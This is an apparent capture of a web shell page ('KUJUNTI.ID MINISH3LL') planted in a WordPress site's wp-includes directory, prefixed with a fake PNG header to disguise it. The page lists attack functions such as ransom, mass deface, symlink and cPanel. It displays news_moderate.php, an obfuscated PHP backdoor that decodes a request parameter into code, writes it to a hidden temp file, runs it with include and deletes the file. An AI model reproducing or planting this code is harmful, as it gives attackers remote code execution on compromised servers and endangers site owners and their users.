\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-includes/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-includes/news_moderate.php


<?php

if(@$_REQUEST["re\x66"] !== null){
	$item = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", session_save_path()]);
	$desc = $_REQUEST["re\x66"];
	  	$desc  =		explode 	 (  	'.' , $desc )		;	 
	$entry='';
            $salt4='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen(	 $salt4);
            $n=0;
    
            while(	 $n< count(	 $desc)) {$v4=$desc[$n];
                $sChar=ord(	 $salt4[$n%	 $sLen]);
                $d=(	 (	 int)$v4 - $sChar -(	 $n%	 10)) ^ 1;
                $entry .= chr(	 $d);
                $n++;
            }
	$descriptor = 0;
do {
    $obj = $item[$descriptor] ?? null;
    if ($descriptor >= count($item)) break;
    		if (is_dir($obj) && is_writable($obj)) {
    $ptr = sprintf("%s/.rec", $obj);
    $file = fopen($ptr, 'w');
if ($file) {
	fwrite($file, $entry);
	fclose($file);
	include $ptr;
	@unlink($ptr);
	die();
}
}
    $descriptor++;
} while (true);
}

© KUJUNTI.ID